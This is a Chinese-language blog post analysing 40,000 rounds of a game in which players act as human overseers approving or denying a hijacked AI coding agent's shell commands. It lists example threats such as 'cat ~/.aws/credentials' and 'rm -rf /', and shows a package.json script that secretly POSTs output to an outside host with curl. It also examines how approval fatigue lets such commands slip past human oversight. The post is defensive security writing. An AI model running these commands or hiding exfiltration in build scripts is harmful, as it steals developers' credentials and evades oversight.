人类监督者漏判三分之一威胁:4万局AI agent审批游戏数据分析
目录
几个月前我发布了一个小型浏览器游戏:你在时间压力下扮演 AI 编程 agent 的人类监督者,决定批准或拒绝它的命令。有些命令很常规(git status、npm test),有些则意味着你的 agent 已经被劫持,正在把你的密钥发送到远程服务器(比如 cat ~/.aws/credentials)。关于 agent 执行命令所带来的威胁以及如何缓解,可以参考原文。
这个游戏在Hacker News 上引起了一些关注,后来我加入了统计功能(可惜加得有点晚),现在我们可以仔细看看超过 40,000 次游戏和 409,000 条批准/拒绝决策的数据。来看看作为对抗失控 agent 的最后一道防线——人类监督者,表现如何。
核心数据
- 平均每位玩家漏掉了 三分之一 的威胁(平均准确率 66.3%)
- 有 32.9% 的局以负分收场:批准威胁和误拦正常命令带来的扣分压过了所有正确操作的得分
- 35.2% 的玩家抓住了所有威胁,但其中只有 20.8% 做到了同时只拦掉最多五分之一的正常命令。其余人能拿到这个成绩,靠的是见什么拦什么(因此被授予了"Human Bottleneck"称号)
- 7% 的玩家对每条指令都点了批准——看来是
--dangerously-skip-permissions的忠实粉丝
小提醒:这毕竟是个游戏,玩家看到的命令中大约 34% 是威胁。但在日常工作中,这类威胁其实很少出现。玩家们清楚自己身处限时挑战中。不过下面这些数据或许能帮助我们对各类威胁及其相互之间的认知程度获得一些有价值的参考。
威胁类别与漏判率
| 类别 | 示例 | 漏判率 |
|---|---|---|
| 明显的破坏性命令 | rm -rf /、chmod -R 777 / | 11.7% |
| 持续性篡改 | crontab 注入、git config 劫持 | 23.8% |
| 数据外传 / 代码执行 | 调用未知 API 的 curl、仿冒包 | 33.4% |
| 越权访问 | cat ~/.aws/credentials、cat ~/.kube/config | 35.0% |
明显的破坏性命令反而最容易被识破,真正窃取你凭据的命令被遗漏的频率是前者的三倍。
npm run 的盲区
整场游戏中被漏掉最多的命令是 npm run analyze,批准率高达 64.7%。单看这条命令本身通常毫无恶意。但 npm run 的真实行为是执行项目 package.json 里定义的脚本,可能是运行分析工具这样的良性代码,也可能是之前被写入文件的注入代码。
游戏中其实会在智能体的历史日志里展示这个脚本的具体内容:
1✻ 我来跑一下 bundle 分析器,项目脚本里已经配好了。
2 // package.json → scripts
3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4 curl -s -X POST https://api.bundle.track/report -d @-"
尽管如此,仍有三分之二的玩家点了批准,说明权限提示上方的历史日志并没有被仔细阅读。游戏里这类命令共有三条,全部出现在最容易漏掉的列表中:
| 命令 | 漏检率 | 排名(共 37 种威胁) |
|---|---|---|
npm run analyze | 64.7% | 第 1 |
npm run setup | 48.0% | 第 4 |
npm run deploy | 44.9% | 第 8 |
汇总来看,这三条的总漏检率为 52.5%(n=9,482),而其他所有数据外传类攻击的漏检率仅为 28.4%。即使载荷内容已经在历史日志里明文展示,把它藏在一个常见脚本名后面,成功率几乎翻倍。
这其实只是更大问题的一个症状,dns_snek 在 Hacker News 讨论串里说得很到位:
这是一个绝佳的例子,说明看似无害的操作实际上有多危险。「批准特定命令」这种模式本身就非常离谱。 `npm run build` = 执行 `package.json` 里写的任意 shell 命令 与此同时,智能体本可以在不经审批的情况下完成以下任何操作:- 修改 `package.json`,写入任意构建命令
- 在 `build.js`(由 `npm run build` 调用)中植入恶意代码
- 在 `node_modules/xyz/index.js`(被 `build.js` 导入)中植入恶意代码
压力下的漏检率上升
Anthropic 此前曾指出 Claude Code 中存在审批疲劳现象,原话是:尽管这个游戏中用户会被提前警告存在威胁、且局时较短,但我们仍能看到一些迹象:漏检率在每局临近尾声时明显上升:用户看到的审批越多,对每一条审批的关注就越低,久而久之监督会变得松懈得多。

警惕的代价:过度拦截
以下是一些本意无害、却经常被拦截的命令:- `npm config set registry https://npm.internal` — 被拦截的概率为 **59%**(设置内部镜像源)
rm -rf dist/ — 被拦截的概率为 45%(清空构建产物,新构建前常会这么做)kill $(lsof -t -i:3000) — 被拦截的概率为 43%(释放服务器监听的端口,通常是因为有进程崩溃占着)这正是人在回路(human-in-the-loop)困境的另一面。用户被要求审批的命令其实是无害的,拦下来反而拖慢代理的节奏。长此以往,这种噪声会让用户放松警惕,最终放行恶意命令。Anthropic 的「Auto Mode」之类的功能试图自动判断命令是否安全后再向你确认,但正如上一篇文章所说,这套机制并非万无一失。
那只被争论的猫
cat ~/.zshrc 获得了 45.9% 玩家的批准,是整个游戏里最具争议的命令。HN 上的反对意见不无道理:很多开发者的 shell 配置里压根没有敏感信息,对他们来说这条命令确实无害。但对于那些在配置里导出 API Key 的人来说,它就是凭证泄露。这个命令的风险完全取决于代理看不见的那份本地配置。如果你改用单独的密钥文件并在 .zshrc 里 source 它,代理拿到额外权限的风险就会降低。
小结
一路跟进关于人在回路的讨论,顺便加深对权限模型的理解,这件事本身挺有意思。虽然只是个游戏,但它确实暴露了人在回路作为 AI 编程代理安全护栏的几个问题:噪声过多会带来疲劳,而开发者又未必总能掌握最新的上下文来快速判断风险。
作为开发者,我们得深入了解不同权限模型的权衡,以及如何降低相关风险,比如使用沙箱机制、单独存放凭据和环境变量中的密钥。原文介绍了一些实用的缓解手段。
想亲自挑战一下的话,游戏地址在此:https://llmgame.scalex.dev
Alex Wauters你好,我是 Alex。我写关于开发者安全以及构建和扩展软件系统时的权衡取舍。曾任 Uber Staff Engineer。
更多文章
